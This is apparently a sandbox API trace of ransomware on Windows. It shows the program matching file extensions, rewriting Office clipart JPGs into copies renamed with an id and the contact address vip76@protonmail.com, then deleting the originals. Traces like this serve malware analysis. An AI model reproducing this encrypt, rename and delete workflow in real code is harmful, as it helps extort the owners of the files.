	[0187.475] lstrlenW (lpString=".1cd") returned 4
	[0187.475] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0187.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0187.475] lstrlenW (lpString=".jpg") returned 4
	[0187.475] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0187.475] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0187.475] lstrlenW (lpString="J0099189.JPG") returned 12
	[0187.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0187.476] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=8076) returned 1
	[0187.476] CloseHandle (hObject=0x4a8) returned 1
	[0187.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220
	[0187.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0187.477] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.477] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0187.478] GetLastError () returned 0x0
	[0187.478] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1f8c, lpOverlapped=0x0) returned 1
	[0187.480] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1f90, lpOverlapped=0x0) returned 1
	[0187.481] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.481] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.481] SetEndOfFile (hFile=0x510) returned 1
	[0187.482] CloseHandle (hObject=0x510) returned 1
	[0187.482] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.482] SetEndOfFile (hFile=0x4a8) returned 1
	[0187.484] CloseHandle (hObject=0x4a8) returned 1
	[0187.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1
	[0187.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0187.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0187.486] lstrlenW (lpString=".doc") returned 4
	[0187.486] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0187.486] lstrlenW (lpString=".docx") returned 5
	[0187.486] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0187.486] lstrlenW (lpString=".pdf") returned 4
	[0187.486] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0187.486] lstrlenW (lpString=".xls") returned 4
	[0187.486] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0187.486] lstrlenW (lpString=".xlsx") returned 5
	[0187.486] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0187.486] lstrlenW (lpString=".ppt") returned 4
	[0187.486] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0187.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0187.486] lstrlenW (lpString=".zip") returned 4
	[0187.486] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0187.486] lstrlenW (lpString=".rar") returned 4
	[0187.486] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0187.486] lstrlenW (lpString=".bz2") returned 4
	[0187.486] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0187.487] lstrlenW (lpString=".7z") returned 3
	[0187.487] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0187.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0187.487] lstrlenW (lpString=".dbf") returned 4
	[0187.487] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0187.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0187.487] lstrlenW (lpString=".1cd") returned 4
	[0187.487] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0187.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0187.487] lstrlenW (lpString=".jpg") returned 4
	[0187.487] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0187.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0187.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0187.487] lstrlenW (lpString=".doc") returned 4
	[0187.487] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0187.487] lstrlenW (lpString=".docx") returned 5
	[0187.487] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0187.487] lstrlenW (lpString=".pdf") returned 4
	[0187.487] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0187.487] lstrlenW (lpString=".xls") returned 4
	[0187.487] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0187.487] lstrlenW (lpString=".xlsx") returned 5
	[0187.487] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0187.487] lstrlenW (lpString=".ppt") returned 4
	[0187.487] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0187.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0187.487] lstrlenW (lpString=".zip") returned 4
	[0187.488] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0187.488] lstrlenW (lpString=".rar") returned 4
	[0187.488] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0187.488] lstrlenW (lpString=".bz2") returned 4
	[0187.488] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0187.488] lstrlenW (lpString=".7z") returned 3
	[0187.488] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0187.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0187.488] lstrlenW (lpString=".dbf") returned 4
	[0187.488] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0187.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0187.488] lstrlenW (lpString=".1cd") returned 4
	[0187.495] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0187.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0187.496] lstrlenW (lpString=".jpg") returned 4
	[0187.496] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0187.496] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0187.496] lstrlenW (lpString="J0099190.JPG") returned 12
	[0187.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0187.497] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=43892) returned 1
	[0187.497] CloseHandle (hObject=0x4a8) returned 1
	[0187.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220
	[0187.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0187.498] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.498] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0187.499] GetLastError () returned 0x0
	[0187.499] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xab74, lpOverlapped=0x0) returned 1
	[0187.502] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xab80, lpOverlapped=0x0) returned 1
	[0187.504] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.504] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.504] SetEndOfFile (hFile=0x510) returned 1
	[0187.504] CloseHandle (hObject=0x510) returned 1
	[0187.504] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.504] SetEndOfFile (hFile=0x4a8) returned 1
	[0187.509] CloseHandle (hObject=0x4a8) returned 1
	[0187.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1
	[0187.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0187.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0187.510] lstrlenW (lpString=".doc") returned 4
	[0187.510] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0187.510] lstrlenW (lpString=".docx") returned 5
	[0187.510] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0187.510] lstrlenW (lpString=".pdf") returned 4
	[0187.510] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0187.510] lstrlenW (lpString=".xls") returned 4
	[0187.510] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0187.510] lstrlenW (lpString=".xlsx") returned 5
	[0187.510] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0187.510] lstrlenW (lpString=".ppt") returned 4
	[0187.510] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0187.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0187.510] lstrlenW (lpString=".zip") returned 4
	[0187.510] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0187.510] lstrlenW (lpString=".rar") returned 4
	[0187.510] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0187.510] lstrlenW (lpString=".bz2") returned 4
	[0187.510] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0187.511] lstrlenW (lpString=".7z") returned 3
	[0187.511] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0187.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0187.511] lstrlenW (lpString=".dbf") returned 4
	[0187.511] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0187.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0187.511] lstrlenW (lpString=".1cd") returned 4
	[0187.511] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0187.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0187.511] lstrlenW (lpString=".jpg") returned 4
	[0187.511] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0187.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0187.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0187.511] lstrlenW (lpString=".doc") returned 4
	[0187.511] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0187.511] lstrlenW (lpString=".docx") returned 5
	[0187.511] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0187.511] lstrlenW (lpString=".pdf") returned 4
	[0187.511] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0187.511] lstrlenW (lpString=".xls") returned 4
	[0187.511] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0187.511] lstrlenW (lpString=".xlsx") returned 5
	[0187.511] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0187.511] lstrlenW (lpString=".ppt") returned 4
	[0187.511] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0187.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0187.511] lstrlenW (lpString=".zip") returned 4
	[0187.512] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0187.512] lstrlenW (lpString=".rar") returned 4
	[0187.512] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0187.512] lstrlenW (lpString=".bz2") returned 4
	[0187.512] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0187.512] lstrlenW (lpString=".7z") returned 3
	[0187.512] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0187.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0187.512] lstrlenW (lpString=".dbf") returned 4
	[0187.512] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0187.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0187.512] lstrlenW (lpString=".1cd") returned 4
	[0187.512] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0187.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0187.512] lstrlenW (lpString=".jpg") returned 4
	[0187.512] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0187.512] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0187.512] lstrlenW (lpString="J0099191.JPG") returned 12
	[0187.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0187.513] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=62367) returned 1
	[0187.513] CloseHandle (hObject=0x4a8) returned 1
	[0187.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220
	[0187.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0187.514] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.514] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0187.515] GetLastError () returned 0x0
	[0187.515] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xf39f, lpOverlapped=0x0) returned 1
	[0187.519] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xf3a0, lpOverlapped=0x0) returned 1
	[0187.521] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.522] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.522] SetEndOfFile (hFile=0x510) returned 1
	[0187.522] CloseHandle (hObject=0x510) returned 1
	[0187.522] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.522] SetEndOfFile (hFile=0x4a8) returned 1
	[0187.525] CloseHandle (hObject=0x4a8) returned 1
	[0187.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1
	[0187.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0187.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0187.527] lstrlenW (lpString=".doc") returned 4
	[0187.527] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0187.527] lstrlenW (lpString=".docx") returned 5
	[0187.527] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0187.527] lstrlenW (lpString=".pdf") returned 4
	[0187.527] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0187.527] lstrlenW (lpString=".xls") returned 4
	[0187.527] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0187.527] lstrlenW (lpString=".xlsx") returned 5
	[0187.527] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0187.527] lstrlenW (lpString=".ppt") returned 4
	[0187.527] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0187.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0187.527] lstrlenW (lpString=".zip") returned 4
	[0187.527] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0187.527] lstrlenW (lpString=".rar") returned 4
	[0187.527] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0187.527] lstrlenW (lpString=".bz2") returned 4
	[0187.527] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0187.528] lstrlenW (lpString=".7z") returned 3
	[0187.528] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0187.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0187.528] lstrlenW (lpString=".dbf") returned 4
	[0187.528] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0187.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0187.528] lstrlenW (lpString=".1cd") returned 4
	[0187.528] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0187.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0187.528] lstrlenW (lpString=".jpg") returned 4
	[0187.528] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0187.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0187.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0187.528] lstrlenW (lpString=".doc") returned 4
	[0187.528] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0187.528] lstrlenW (lpString=".docx") returned 5
	[0187.528] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0187.528] lstrlenW (lpString=".pdf") returned 4
	[0187.528] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0187.528] lstrlenW (lpString=".xls") returned 4
	[0187.528] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0187.528] lstrlenW (lpString=".xlsx") returned 5
	[0187.528] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0187.528] lstrlenW (lpString=".ppt") returned 4
	[0187.528] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0187.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0187.529] lstrlenW (lpString=".zip") returned 4
	[0187.529] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0187.529] lstrlenW (lpString=".rar") returned 4
	[0187.529] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0187.529] lstrlenW (lpString=".bz2") returned 4
	[0187.529] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0187.529] lstrlenW (lpString=".7z") returned 3
	[0187.529] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0187.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0187.529] lstrlenW (lpString=".dbf") returned 4
	[0187.529] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0187.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0187.529] lstrlenW (lpString=".1cd") returned 4
	[0187.529] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
